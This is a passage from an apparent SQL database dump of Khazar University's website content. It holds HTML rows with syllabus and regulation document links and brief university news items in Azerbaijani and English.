href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1A_Sabina_sadigova_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1B_Sabina_sadigova_2017.docx\">Calculus B</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Calculus_1B_Sabina_sadigova_2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_K%C9%99rimov_Nazim_Riyazi_Analiz-1_2017.doc\">Riyazi analiz-1</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_K%C9%99rimov_Nazim_Riyazi_Analiz-1_2017.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-2._2017.doc\">Riyazi analiz-2</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-2._2017.doc\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-4._2017.docx\">Riyazi analiz-4</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nebiyev_I._Riyazi_Analiz-4._2017.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Analitik_h%C9%99nd%C9%99s%C9%99_Qarayev_t%C9%99rlan_2017_pay%C4%B1z.docx\">Analitik həndəsə</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Analitik_h%C9%99nd%C9%99s%C9%99_Qarayev_t%C9%99rlan_2017_pay%C4%B1z.docx\"></a></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Nazim_K%C9%99rimov_X%C9%99tti_C%C9%99br_2017.docx\">Xətti cəbr</a></strong></p><p><a href=\"http://www.khazar.org/files/math_depart/Syllabus-Qarayev%20T%C9%99rlan-%C4%B0btodai%20sinif%20m%C3%BC%C9%99lliml%C9%99ri%20%C3%BC%C3%A7%C3%BCn%20riyaziyyat-2.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/math_depart/Syllabus-Qarayev%20T%C9%99rlan-%C4%B0btodai%20sinif%20m%C3%BC%C9%99lliml%C9%99ri%20%C3%BC%C3%A7%C3%BCn%20riyaziyyat-2.docx\">İbtidai siniflər üçün riyaziyyat-2</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Qarayev_T%C9%99rlan_Elementar_riyaziyyat_2017.docx\">Elementar riyaziyyat</a></strong></p><p><a href=\"http://www.khazar.org/files/math_depart/Sillabus%20riyazi%20metodika.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/math_depart/Sillabus%20riyazi%20metodika.docx\">İbtidai siniflərdə riyaziyyatın tədrisi metodikası</a></strong></p>'),(4078,2380,'en','An information on the next article by staff member of “Khazar” was posted on Euras.Express news bulletin','On 26 August, 2017, Euras.Express news bulletin released the news, which was placed in the website of Khazar University on 15 August, 2017, about the publication of the...','<p>On August 26, 2017, <strong><em>Euras.Express</em></strong> news bulletin published the news that was posted on website of Khazar University on August 15. The news includes information about a scientific article “Multilingualism in Azerbaijan: the most preferred foreign languages in private universities of the country and its Socioeconomic aspects” by Valida Karimova, Assistant of Dean of the School of Humanities and Social Sciences of Khazar University. The article was published in June number, 2017, of “American Journal of Education and Technologies” journal, “Science Publishing Group” publishing house, USA.</p><p><a href=\"http://www.khazar.org/en/news/article/2370\" target=\"_blank\">http://www.khazar.org/en/news/article/2370</a>.  </p>'),(618,406,'az','Doktoranturaya  dair qanunvericilik','Doktoranturaya  dair qanunvericilik','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/files/master/Alimlik%20d%C9%99r%C9%99c%C9%99l%C9%99rinin%20v%C9%99%20elmi%20adlar%C4%B1n%20verilm%C9%99si%20qaydalar%C4%B1%20haqq%C4%B1nda%20%C6%8Fsasnam%C9%99.pdf\">Alimlik dərəcələrinin və elmi adların verilməsi qaydaları haqqında Əsasnamə</a></p>\r\n<p><a href=\"http://www.khazar.org/files/master/Bologna%20Seminar%20on%20Doctoral%20Programmes%20(ingilis%20dilind%C9%99).pdf\">Bologna Seminar on Doctoral Programmes (ingilis dilində)</a></p><p><a href=\"http://www.khazar.org/files/master/Dissertasiya%20i%C5%9Fl%C9%99rin%C9%99%20opponentliy%C9%99%20g%C3%B6r%C9%99%20%C9%99m%C9%99yin%20%C3%B6d%C9%99nilm%C9%99si%20haqq%C4%B1nda.docx\">Dissertasiya işlərində opponentliyə görə əməyin ödənilməsi haqqında</a></p><p><a href=\"http://www.khazar.org/files/master/Dissertasiya%20n%C9%99tic%C9%99l%C9%99rinin%20d%C9%99rc%20olunmas%C4%B1.docx\">Dissertasiya nəticələrinin dərc olunması</a></p><p><a href=\"http://www.khazar.org/files/master/Doctoral%20Programmes%20in%20Europe\'s%20Universities.pdf\">Doctoral Programmes in Europe\'s Universities&nbsp;(İngilis dilində)</a></p><p><a href=\"http://www.khazar.org/files/master/Doktorant%20%20dissertasiyas%C4%B1n%C4%B1n%20titul%20v%C9%99r%C9%99qi.docx\">Doktorant &nbsp;dissertasiyasının titul vərəqi</a></p><p><a href=\"http://www.khazar.org/files/master/Doktorant%20v%C9%99%20Dissertant%C4%B1n%20f%C9%99rdi%20%C4%B0%C5%9F%20Plan%C4%B1.doc\">Doktorant və Dissertantın fərdi İş Planı</a></p><p><a href=\"http://www.khazar.org/files/master/Doktorantura%20ixtisaslar%C4%B1n%C4%B1n%20t%C9%99snifat%C4%B1.doc\">Doktorantura ixtisaslarının təsnifatı</a></p><p><a href=\"http://www.khazar.org/files/master/Doktoranturalar%20yarad%C4%B1lan%20AR%20ali%20t%C9%99hsil%20m%C3%BC%C9%99ssis%C9%99l%C9%99rinin%20v%C9%99%20elmi%20t%C9%99%C5%9Fkilatlar%C4%B1n%20Siyah%C4%B1s%C4%B1.docx\">Doktoranturalar yaradılan AR ali təhsil müəssisələrinin və elmi təşkilatların Siyahısı</a></p><p><a href=\"http://www.khazar.org/files/master/Doktoranturalar%C4%B1n%20yarad%C4%B1lmas%C4%B1%20v%C9%99%20doktoranturaya%20q%C9%99bul%20qaydalar%C4%B1.docx\">Doktoranturaların yaradılması və doktoranturaya qəbul qaydaları</a></p><p><a href=\"http://www.khazar.org/files/master/Doktoranturaya%20q%C9%99bul%20%C3%BC%C3%A7%C3%BCn%20s%C9%99n%C9%99dl%C9%99r.docx\">Doktoranturaya qəbul üçün sənədlər</a></p><p><a href=\"http://www.khazar.org/files/master/Elmi%20adlar%C4%B1n%20verilm%C9%99si%20%C3%BC%C3%A7%C3%BCn%20laz%C4%B1m%20olan%20s%C9%99n%C9%99dl%C9%99r.pdf\">Elmi adların verilməsi üçün lazım olan sənədlər</a></p><p><a href=\"http://www.khazar.org/files/master/Elmi%20d%C9%99r%C9%99c%C9%99l%C9%99r%C9%99%20v%C9%99%20adlara%20g%C3%B6r%C9%99%20%C9%99lav%C9%99l%C9%99r.doc\">Elmi dərəcələrə və adlara görə əlavələr</a><a href=\"http://www.khazar.org/files/Elmi%20d%C9%99r%C9%99c%C9%99l%C9%99r%C9%99%20v%C9%99%20adlara%20g%C3%B6r%C9%99%20%C9%99lav%C9%99l%C9%99r_.doc\"></a></p><p><a href=\"http://www.khazar.org/files/master/Elmi%20r%C9%99hb%C9%99rliy%C9%99%20icaz%C9%99%20almaq%20%C3%BC%C3%A7%C3%BCn%20t%C9%99l%C9%99b%20olunan%20s%C9%99n%C9%99dl%C9%99r.pdf\">Elmi rəhbərliyə icazə almaq üçün tələb olunan sənədlər</a></p><p><a href=\"http://www.khazar.org/files/master/T%C9%99dris%20v%C9%99saitin%C9%99%20qrif%20verilm%C9%99si%20ucun%20s%C9%99n%C9%99d%20siyah%C4%B1s%C4%B1.docx\">Tədris vəsaitinə qrif verilməsi ucun sənəd siyahısı</a></p><p><a href=\"http://www.khazar.org/files/master/Texnika%20elml%C9%99ri%20%C3%BCzr%C9%99%20dissertasiyalar%C4%B1n%20n%C9%99tic%C9%99l%C9%99rinin%20d%C9%99rc%20olunmas%C4%B1.docx\">Texnika elmləri üzrə dissertasiyaların nəticələrinin dərc olunması</a></p><p><a href=\"http://www.khazar.org/files/master/T%C3%B6vsiy%C9%99%20edil%C9%99n%20elmi%20n%C9%99%C5%9Frl%C9%99r.docx\">Tövsiyə edilən elmi nəşrlər</a></p><p><a href=\"http://www.khazar.org/files/T%C3%B6vsiy%C9%99%20edil%C9%99n%20elmi%20n%C9%99%C5%9Frl%C9%99r_.docx\"></a><a href=\"http://www.khazar.org/files/master/Xarici%20d%C3%B6vl%C9%99tl%C9%99rin%20ali%20t%C9%99hsil%20sah%C9%99sind%C9%99%20ixtisaslar%C4%B1n%20tan%C4%B1nmas%C4%B1.docx\">Xarici dövlətlərin ali təhsil sahəsində ixtisasların tanınması</a></p><p><br></p><h3>Sənədlər&nbsp;</h3><p><a href=\"http://www.khazar.org/files/master/List%20of%20documents%20for%20Higher%20Attestation%20Comission.pdf\">Elmi dərəcələr verilməsinə dair attestasiya işinin birinci nüsxəsində AAK-təqdim&nbsp;olunan siyahı</a>  <br></p><p><a href=\"http://www.khazar.org/files/master/Thesis%20structure.doc\">Doktorant dissertasiyasının tərtibi qaydaları</a></p><p><a href=\"http://www.khazar.org/files/master/Organization%20of%20Masters%20studies%20.docx\">Magistratura təhsilinin təşkili və magistr dərəcəsinin verilməsi qaydaları</a></p><p><a href=\"http://www.khazar.org/files/master/Magistratura%2C%20Doktorantura%20v%C9%99%20Elmi%20T%C9%99dqiqat%20b%C3%B6lm%C9%99sinin%20%C9%99sasnam%C9%99si%20(1).doc\">Magistratura, Doktorantura və Elmi Tədqiqat bölməsinin əsasnaməsi</a></p><p><a href=\"http://www.khazar.org/files/master/Magistratura%2C%20Doktorantura%20v%C9%99%20Elmi%20T%C9%99dqiqat%20b%C3%B6lm%C9%99sinin%20%C9%99sasnam%C9%99si%20(1).doc\"></a><a href=\"http://www.khazar.org/files/master/Reference%20form%20for%20the%20persons%20who%20had%20not%20completed%20their%20studies%20for%20various%20reasons.docx\">Müxtəlif səbəblərdən təhsilin hər hansı pilləsini başa vurmayan şəxslərə arayışın verilməsi&nbsp;haqqında</a></p><p><a href=\"http://www.khazar.org/files/master/Doktoranturaya%20q%C9%99bul%20%C3%BC%C3%A7%C3%BCn%20s%C9%99n%C9%99dl%C9%99r.docx\">Doktoranturaya qəbul sənədləri</a></p>'),(2021,1228,'en','Students` Research Paper Defense','On June 21, 2016, Lala Hamidova, instrucor of the Department of English Language and Literature, organized a research paper defense for the 3rd year students...','<p>On June\r\n21, 2016, Lala Hamidova, instrucor of the Department of English Language and\r\nLiterature, organized a research paper defense for the 3rd year students ( “<em>Academic Writing”</em>) of the School of &nbsp;Education . The research papers covered\r\neducation and training issues in higher and secondary educational institutions\r\nin Azerbaijan. The students conducted the research for a period of 4 months.\r\nDr. Elza Semedli, Dean of the School of Education, participated in the defense\r\nas well. She was pleased with the students` survey and their &nbsp;achievements.&nbsp;</p>'),(720,511,'az','İraq səfirliyinin nümayəndələri “Dünya” məktəbini ziyarət etdilər','2016-cı il martın 10-da İraq Respublikasının səfirliyinin müvəqqəti işlər vəkili Dr. Fazil Avvad Əşşüveyli Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbini ziyarət etdi. Səfər İraq səfirliyində bu ilin əvvəlində Xəzər Universitetinin Beynəlxalq Əlaqələr Şöbəsinin təşkilatçılığı ilə 2016-2017-ci tədris ili üçün qəbul planı çərçivəsində keçirilən görüşün davamı hesab olunur.','<p>2016-cı il martın 10-da İraq Respublikasının səfirliyinin\r\nmüvəqqəti işlər vəkili Dr. Fazil Avvad\r\nƏşşüveyli Xəzər Universitetinin nəzdində fəaliyyət\r\ngöstərən “Dünya” məktəbini ziyarət etdi. Səfər\r\nİraq səfirliyində bu ilin əvvəlində Xəzər Universitetinin Beynəlxalq Əlaqələr\r\nŞöbəsinin təşkilatçılığı ilə 2016-2017-ci tədris ili üçün qəbul planı çərçivəsində\r\nkeçirilən görüşün davamı hesab olunur. </p>\r\n<p>“Dünya” məktəbinin direktoru Mərufə Mədətli və IB\r\nProqramının koordinatoru Rəna Həsənova İraq Respublikasının səfirliyinin müvəqqəti\r\nişlər vəkili Dr. Fazil Avvad Əşşüveylini\r\nvə onun tərcüməçisi Nemət Ağalını qəbul etdilər.\r\n“Dünya” məktəbinin direktoru Mərufə Mədətli təhsil proqramları, dərslərin təşkili,\r\nməktəbdənkənar fəaliyyət və məktəbin resursları haqqında təqdimat verdi. Rəna Həsənova\r\n“Dünya” məktəbinin IB proqramı barədə məlumat verdi. O, həmçinin, &nbsp;məktəbin\r\nqarşıdan gələn tədbirləri haqqında məlumat verərək, qonaqları tədbirlərə dəvət\r\netdi. Qonaqlar üçün məktəb turu təşkil edildi.</p>\r\n<p>Dr. Fazil Avvad Əşşüveyli dəvətə və təşkil\r\nolunmuş tura görə məktəb nümayəndələrinə təşəkkür etdi, məktəb, onun strukturu,\r\nresursları və fəaliyyəti barəsində məmnuniyyətini dilə gətirdi.&nbsp;</p>'),(619,406,'en','PhD regulations','PhD regulations','<p><a href=\"http://www.khazar.org/files/demo/Additions%20to%20the%20rules%20for%20granting%20scientific%20degrees%20and%20titles%20(Azeri).doc\">Additions to the rules for granting scientific degrees and\r\ntitles (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/master/Bologna%20Seminar%20on%20Doctoral%20Programmes%20(ingilis%20dilind%C9%99).pdf\">Bologna Seminar on Doctoral Programmes&nbsp;</a></p>\r\n<p><a href=\"http://www.khazar.org/files/Classification%20of%20PhD%20studies%20(Azeri).doc\">Classification of PhD studies (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Organization%20of%20doctoral%20studies%20and%20admission%20rules%20(Azeri).docx\">Organization of doctoral studies and admission rules (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD%20Individual%20Work%20Plan%20(Azeri).doc\">PhD Individual Work Plan (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/PhD%20thesis%20title%20page%20(Azeri).docx\">PhD thesis title page (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/Publication%20of%20the%20results%20of%20the%20theses%20(Azeri).docx\">Publication of the results of the theses (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/Publication%20of%20the%20results%20of%20theses%20on%20technical%20sciences%20(Azeri).docx\">Publication of the results of theses on technical sciences\r\n(Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Recognition%20of%20qualifications%20concerning%20higher%20education%20in%20foreign%20countries%20(Azeri).docx\">Recognition of qualifications concerning higher education in\r\nforeign countries (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Recommended%20scientific%20publications%20(Azeri).docx\">Recommended scientific publications (Azerbajani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Remuneration%20for%20thesis%20opponents%20(Azeri).docx\">Remuneration for thesis opponents (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Regulations%20on%20scientific%20degrees%20and%20academic%20titles%20(Azeri).pdf\">Regulations on scientific degrees and academic titles\r\n(Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/Required%20documents%20for%20PhD%20supervision%20(Azeri).pdf\">Required documents for PhD supervision (Azerbaijanii)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/The%20list%20of%20documents%20for%20publication%20right%20of%20a%20textbooks%20(Azeri).docx\">The list of documents for publication right of a textbooks\r\n(Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/The%20list%20of%20higher%20education%20institutions%20and%20scientific%20organizations%20giving%20doctoral%20degree%20(Azeri).docx\">The list of higher education institutions and scientific\r\norganizations giving doctoral degree (Azerbaijani)</a></p>\r\n<p><a href=\"http://www.khazar.org/files/demo/The%20required%20documents%20for%20granting%20academic%20titles%20(Azeri).pdf\">The required documents for granting academic titles (Azerbaijani)</a></p><p><br></p><h3>Documents</h3><p><a href=\"http://www.khazar.org/files/List%20of%20documents%20for%20Higher%20Attestation%20Comission_.pdf\">List of documents for Higher Attestation Comission</a><br></p><p><a href=\"http://www.khazar.org/files/Organization%20of%20Masters%20studies%20_.docx\">Organization of Masters studies&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/Organization%20of%20Masters%20studies%20_.docx\"></a><a href=\"http://www.khazar.org/files/Reference%20form%20for%20the%20persons%20who%20had%20not%20completed%20their%20studies%20for%20various%20reasons..docx\">Reference form for the persons who had not completed their studies for various reasons</a></p><p><a href=\"http://www.khazar.org/files/Reference%20form%20for%20the%20persons%20who%20had%20not%20completed%20their%20studies%20for%20various%20reasons..docx\"></a><a href=\"http://www.khazar.org/files/Remuneration%20for%20opponents%20in%20thesis%20defence%20_.docx\">Remuneration for opponents in thesis defence</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/Remuneration%20procedure%20for%20PhD%20academic%20advisorsand%20supervisors_.doc\"></a><a href=\"http://www.khazar.org/files/Thesis%20structure_.doc\">Thesis structure</a></p><p><a href=\"http://www.khazar.org/files/master/Doktoranturaya%20q%C9%99bul%20%C3%BC%C3%A7%C3%BCn%20s%C9%99n%C9%99dl%C9%99r.docx\">List of documents for PhD admission</a></p>'),(2011,1223,'en','Founder Delivers a Lecture at Woorkshop','On June 10, 2016, a workshop on “Managment” was held at Khazar University for the participants of the project...','<p>On June 10, 2016, a workshop on “Managment” was\r\nheld at Khazar University for the participants of the project “Training\r\nCourse for Potential School Directors” . The first guest of the\r\nworkshop was Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees. </p>\r\n<p>Professor Hamlet Isaxanli delivered a lecture entitled\r\n“Education management: From theory to practice”. He also spoke about the\r\nestablisment of Khazar University and the achivements and challenges they experienced.</p>\r\n<p>At the end of the workshop Hamlet Isaxanli answered\r\nthe participants` questions and photos were taken. </p>\r\n<p>&nbsp;</p>'),(646,428,'en','Dunya School','Dunya School','<div><br></div><h4><a href=\"http://www.dunyaschool.az/\">Dunya School </a> <br></h4>'),(620,407,'en','2012-2013','2012-2013','<div><br></div><p><a href=\"http://www.khazar.org/files/Modeling%20and%20Business%20Decision%20Analysis%20Syllabus..doc\">Modeling and Business Decision Analysis Syllabus</a>&nbsp;</p><div><p><a href=\"http://www.khazar.org/files/Research%20Methods.doc\">Research Methods&nbsp;</a> </p> <br></div><div><br></div><div><p><br></p></div><div><br></div>'),(621,408,'az','2013-2014','2013-2014','<div><br></div><p><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies%20(Humanities).doc\">ENGL 599 English for Graduate Studies (Humanities)</a></p><p><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies%20(Humanities).doc\">&nbsp;</a><a href=\"http://www.khazar.org/files/ENGL%20600%20Graduate%20Language%20Competencies.doc\">ENGL 600 Graduate Language Competencies&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/ENGL%20600%20Graduate%20Language%20Competencies.doc\"></a><a href=\"http://www.khazar.org/files/FREN%20202%20French.doc\">FREN 202 French&nbsp;</a><a href=\"http://www.khazar.org/files/History%20of%20Science%20and%20Philosophy.doc\">History of Science and Philosophy&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/PH%C4%B0L%20605%20Philosophy.docx\">PHİL 605 Philosophy&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/PH%C4%B0L%20605%20Philosophy.docx\"></a><a href=\"http://www.khazar.org/files/PHON%20620%20Phonology.doc\">PHON 620 Phonology&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/PHON%20620%20Phonology.doc\"></a><a href=\"http://www.khazar.org/files/RESS%20608%20Research%20Methods(with%20Statistics).doc\">RESS 608 Research Methods(with Statistics)</a></p><p><a href=\"http://www.khazar.org/files/RESS%20608%20Research%20Methods(with%20Statistics).doc\"></a>&nbsp;<a href=\"http://www.khazar.org/files/STAT%20609%20Statistics.doc\">STAT 609 Statistics&nbsp;</a></p><div><br></div><br><br><div><br></div>  <br><p></p>'),(622,408,'en','2013-2014','2013-2014','<div><br></div><p><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies%20(Humanities).doc\">ENGL 599 English for Graduate Studies (Humanities)&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/ENGL%20600%20Graduate%20Language%20Competencies.doc\">ENGL 600 Graduate Language Competencies&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/FREN%20202%20French.doc\">FREN 202 French&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/History%20of%20Science%20and%20Philosophy.doc\">History of Science and Philosophy&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/PH%C4%B0L%20605%20Philosophy.docx\">PHİL 605 Philosophy&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/PHON%20620%20Phonology.doc\">PHON 620 Phonology&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/RESS%20608%20Research%20Methods(with%20Statistics).doc\">RESS 608 Research Methods(with Statistics)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/STAT%20609%20Statistics.doc\">STAT 609 Statistics&nbsp;</a></p><div><br></div><div><br></div>'),(623,407,'az','2012-2013','2012-2013','<div><a href=\"http://www.khazar.org/files/Research%20Methods%20Syllabus.doc\"></a><a href=\"http://www.khazar.org/files/Research%20Methods%20Syllabus.doc\"></a><div><br></div><p><strong><a href=\"http://www.khazar.org/files/Research%20Methods%20Syllabus.doc\"></a></strong><a href=\"http://www.khazar.org/files/Modeling%20and%20Business%20Decision%20Analysis%20Syllabus..doc\">Modeling and Business Decision Analysis Syllabus</a></p></div><p><a href=\"http://www.khazar.org/files/Research%20Methods.doc\">Research Methods&nbsp;</a>&nbsp;  </p><div>   <br></div>'),(624,409,'az','2014-2015','2014-2015','<div><br></div><div> <div><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/Data%20Analysis%20Modelling%20Decision%20Making.doc\">Data Analysis Modelling Decision Making</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies%20(Humanities).doc\">ENGL 599 English for Graduate Studies(Humanities)</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/FREN%20202%20French_.doc\">FREN 202 French</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/PETE%20531%20Formation%20Evaluation%20Syllabus.docx\">PETE 531 Formation Evaluation Syllabus</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/PETE%20565%20Fluid%20flow%20in%20Porous%20Media.docx\">PETE 565 Fluid flow in Porous Media</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/PETE%20582%20PVT.docx\">PETE 582 PVT</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/PHIL-605%20Syllabus-2015..doc\">PHIL-605 Syllabus-2015</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/RES%20601%20Research%20Methods%20Syllabus.doc\">RES 601 Research Methods</a>&nbsp;</p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/STAT%20609%20Statistics...doc\">STAT 609 Statistics</a></p></div><div><br></div><br></div>'),(625,409,'en','2014-2015','2014-2015','<div><br></div><p><a href=\"http://www.khazar.org/files/Data%20Analysis%20Modelling%20Decision%20Making.doc\">Data Analysis Modelling Decision Making</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies%20(Humanities).doc\">ENGL 599 English for Graduate Studies(Humanities)</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/FREN%20202%20French_.doc\">FREN 202 French</a></p><p><a href=\"http://www.khazar.org/files/PETE%20531%20Formation%20Evaluation%20Syllabus.docx\">PETE 531 Formation Evaluation Syllabus</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/PETE%20565%20Fluid%20flow%20in%20Porous%20Media.docx\">PETE 565 Fluid flow in Porous Media</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/PETE%20582%20PVT.docx\">PETE 582 PVT</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/PHIL-605%20Syllabus-2015..doc\">PHIL-605 Syllabus-2015</a></p><p><a href=\"http://www.khazar.org/files/RES%20601%20Research%20Methods%20Syllabus.doc\">RES 601 Research Methods</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/STAT%20609%20Statistics...doc\">STAT 609 Statistics</a></p><div><br></div>'),(626,410,'az',' 2015-2016',' 2015-2016','<div><br></div><div> <div><p style=\"background:undefined \"><span class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media8949225157503806\" width=\"150\" height=\"100\" times=\"\" new=\"\" roman\",=\"\" times,=\"\" serif;\"=\"\" style=\"color: rgb(58, 59, 59);\"><a href=\"http://www.khazar.org/files/pdf/AMS_506_American_emigration_and_European_Immigration%20(1).doc\">AMS 506 American emigration and European Immigration</a></span>&nbsp;&nbsp;<br></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/AZLL%20103%20Azerbaijani%20Language%20for%20Foreigners....docx\">AZLL 103 Azerbaijani Language for Foreigners</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies(Humanities).docx\">ENGL 599 English for Graduate Studies (Humanities)</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/GERM%20201-German%20language_..doc\">GERM 201-German language</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/RES%20601%20Research%20Methods_.doc\">RES 601 Research Methods</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/pdf/LIT_503_American%20Structionist%20and%20Deconstructionist%20Literature%20(1).docx\">LIT 503 American Structionist and Deconstructionist Literature</a></p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/pdf/PLTS_521_State%20Activity_Policy_and_Governance_Analyses.doc\">PLTS 521 State Activity&nbsp;Policy and Governance Analyses</a></p><p style=\"background:undefined \"><span style=\"outline:none\"><a href=\"http://www.khazar.org/files/pdf/PLTS_546_EU_and_Europeanization.doc\">PLTS 546 EU and Europeanization</a></span></p><p style=\"background:undefined \"><br></p><p text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">&nbsp;</p><p style=\"background:undefined \"><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:small;background:undefined \"><br></p></div><br></div>'),(627,410,'en',' 2015-2016',' 2015-2016','<p><br></p><p><span class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media8949225157503806\" width=\"150\" height=\"100\" style=\"color: rgb(58, 59, 59);\" times=\"\" new=\"\" roman\",=\"\" times,=\"\" serif;\"=\"\"><a href=\"http://www.khazar.org/files/pdf/AMS_506_American_emigration_and_European_Immigration%20(1).doc\">AMS 506 American emigration and European Immigration</a></span>&nbsp;  <br></p><p><a href=\"http://www.khazar.org/files/AZLL%20103%20Azerbaijani%20Language%20for%20Foreigners....docx\">AZLL 103 Azerbaijani Language for Foreigners</a></p><p><a href=\"http://www.khazar.org/files/ENGL%20599%20English%20for%20Graduate%20Studies(Humanities).docx\">ENGL 599 English for Graduate Studies (Humanities)</a></p><p><a href=\"http://www.khazar.org/files/GERM%20201-German%20language_..doc\">GERM 201-German language</a></p>\r\n<p><a href=\"http://www.khazar.org/files/RES%20601%20Research%20Methods_.doc\">RES 601 Research Methods</a></p><p><a href=\"http://www.khazar.org/files/pdf/LIT_503_American%20Structionist%20and%20Deconstructionist%20Literature%20(1).docx\">LIT 503 American\r\nStructionist and Deconstructionist Literature</a></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/PLTS_521_State%20Activity_Policy_and_Governance_Analyses.doc\">PLTS 521 State Activity\r\nPolicy and Governance Analyses</a></p>\r\n<p><span style=\"outline:none\"><a href=\"http://www.khazar.org/files/pdf/PLTS_546_EU_and_Europeanization.doc\">PLTS 546 EU and\r\nEuropeanization</a></span></p><p><br></p>\r\n<p style=\"\" text-align:justify;line-height:11.25pt;background:white\"\"=\"\">&nbsp;</p>  <p style=\"font-size:medium\"><br></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:small\"><br></p><table></table>'),(1619,1003,'en','Associate Professor Eldar Shahgaldiyev','Associate Professor Eldar Shahgaldiyev','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td colspan=\"2\" width=\"948\"><p><strong><a href=\"http://www.khazar.org/files/Eldar%20Shahgaldiyev%20CV.doc\">Eldar Shahgaldiyev</a></strong></p><p><strong><br></strong></p></td></tr><tr><td width=\"474\"><p>Brochure: “What is persona­lity?”, A questionnaire for conducting sociological surveys on moral and psychological climate of labor units”</p></td><td width=\"474\"><p>Baku, 1990 (in Azeri);</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“Teaching of English at the secondary schools - advanced teaching experience in Reading and Speaking”</p></td><td width=\"474\"><p>Baku, Azerbaijan, 1990</p></td></tr><tr><td width=\"474\"><p>“Content analyses of the notion of “moral psychological climate”, “Moral psychological climate of the labor 